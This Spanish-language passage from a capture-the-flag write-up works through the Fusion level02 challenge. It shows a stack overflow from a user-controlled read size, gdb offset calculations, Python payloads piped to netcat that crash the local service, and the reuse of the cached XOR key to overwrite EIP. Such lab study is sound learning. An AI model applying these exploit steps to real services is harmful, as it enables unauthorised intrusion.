Entendido el código tras varias ejecuciones, tenemos que localizar donde se encuentra la vulnerabilidad y nos fijamos en la siguientes dos líneas de código:

nread(0, &sz, sizeof(sz));
nread(0, buffer, sz);

La vulnerabilidad radica en que en la segunda llamada a nread se utiliza la variable sz para definir la cantidad de datos a leer del usuario y esta variable ha sido fijada en la primera llamada a nread, que también está controlada por el usuario.

Una vez ya hemos introducido el carácter “E” en mayúscula el flujo del programa entrará en la zona de código destinada a cifrar. La primera llamada a nread() lee 4 bytes de la entrada estándar y lo almacena en el argumento sz (recordemos, introducidos por el usuario). Después en la segunda llamada se leen sz bytes y se almacenan en la variable buffer que tiene un tamaño de 32 * 4096 bytes = 131072 bytes. Como es obvio si los cuatro bytes primeros indican un tamaño superior a 131072 bytes y el usuario en la segunda llamada introduce la cantidad de bytes esperados (número superior a 131072), se producirá un buffer overflow en la pila.

4. ¿Cómo provocar el buffer overflow?

Para obtener el tamaño exacto que nos permita provocar el buffer overflow en la pila necesitaremos restar a la dirección de EBP la dirección donde se inicia el buffer.

(gdb) p &buffer
$6 = (unsigned char (*)[131072]) 0xbfd0ad2c
(gdb) p $ebp 
$7 = (void *) 0xbfd2ad38

>>> 0xbfd2ad38 - 0xbfd0ad2c
131084L

>>> hex(131084)
'0x0002000c'

Por tanto una ejecución normal que llenará todo el buffer sin desbordarlo será:

fusion@fusion:~$ python -c 'print "E"+"\x0c\x00\x02\x00"+131084*"A"+"Q"' | nc localhost
      20002
…..
0xb772b424 in __kernel_vsyscall ()
(gdb) set follow-fork-mode child
(gdb) c
Continuing.
[New process 25433]
[Inferior 2 (process 25433) exited with code 0121]
……

Vemos como la salida del programa es controlada. Ahora para producir un overflow le sumaremos 4 al valor anterior, dando como resultado: 0x00020010

fusion@fusion:~$ python -c ‘print “E”+”\x10\x00\x02\x00”+131084*”A”+4*”B”+Q | nc 
      localhost 20002

(gdb) c
Continuing.
[New process 25463]

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 25463]
main (argc=Cannot access memory at address 0xbd35d263
) at level02/level02.c:74
74	level02/level02.c: No such file or directory.
	in level02/level02.c

Vemos como se ha producido en esta ocasión un segmentation fault, por lo que ya tenemos controlado el tamaño. Como bien nos advierten desde kroosec en su blog cuando retornamos de la función encrypt_file() (poniendo un breakpoint en la línea 49) vemos que en EBP están los inyectados (41’s – A’s y 42’s – B’s), como se muestra en la siguiente captura de la memoria:

En cambio cuando retornamos de la función cipher() ésta ha modificado estos valores que controlamos por lo que hemos perdido el control y para poder seguir teniéndolo después de que se ejecute la función cipher() los datos que inyectamos tendrán que estar alineados con la función de cifrado. Vamos, que lo que nos interesa es que si inyectamos A’s y B’s cuando volvamos de la función cipher() EIP se sobrescriba con las A’s y B’s que hemos inyectado.

5. ¿Cómo funciona la función cipher()?

Descripción simple de algunas variables importantes de la función:

• blah: Variable donde está el contenido a cifrar.
• len: Tamaño de los datos a cifrar.
• keybuf[32]: clave de 1024 bits. Son 32 elementos de 4 bytes, lo que son 128 bytes. Podemos ver un ejemplo del contenido a continuación:

• blocks: Para calcular el número de bloques divide por 4 el número el tamaño en bytes. Con cada XOR se hacen 4 bytes de blahi con un elemento de la clave que tiene un tamaño de 4 bytes.

El bucle va realizando la función XOR entre los elementos de la clave y el texto que queremos cifrar. A continuación tenemos un ejemplo de una iteración del bucle for:

La captura anterior muestra la ejecución del bucle for cuando j=0. Si se examina la dirección donde apunta blahi (0xbfba22dc) se ve como el primer elemento ya no tiene el valor 0x41414141 y ha sido modificado. Para modificarlo se ha hecho un XOR así:

# Primer elemento de keybuf y el elemento primero de blahi tras aplicarle un XOR
>>> hex(0xf87adc59 ^ 0x41414141)
'0xb93b9d18L'

Por tanto si queremos que después de la función nos quede el valor 0x41414141 para demostrar que tenemos el control de EIP tendremos que poner el siguiente valor como entrada de datos:

>>> hex(0xf87adc59 ^ 0xb93b9d18L)
'0x41414141L'

6. ¿Cómo obtenemos la clave de cifrado y sobrescribimos EIP?

Llegados a este punto queda patente que debemos conocer la clave para poder cifrar los datos que queremos inyectar para obtener el resultado que queremos, pero ésta es aleatoria lo que supone un problema. Si revisamos el código vemos que existe una variable de nombre keyed que sirve para controlar que sólo en una primera ejecución se genere la clave y en las siguientes se utilice la generada, sería como una especie de caché. Es de ésto de lo que nos vamos a aprovechar y vamos a lanzar para cifrar dos fragmentos de texto. Con el primer fragmento obtendremos la clave y con el segundo sobrescribiremos EIP. En github (https://github.com/jholgui/exploiting/blob/master/fusion02.py) he dejado un script en python que hace estas dos ejecuciones de manera muy simple.

Resultado de ejecutar el script en python será:

Como vemos ya hemos sobrescrito EIP con un valor controlado por nosotros (BBBB) y con esto tenemos finalizada la primera parte. En la siguiente entrada explotaremos la vulnerabilidad.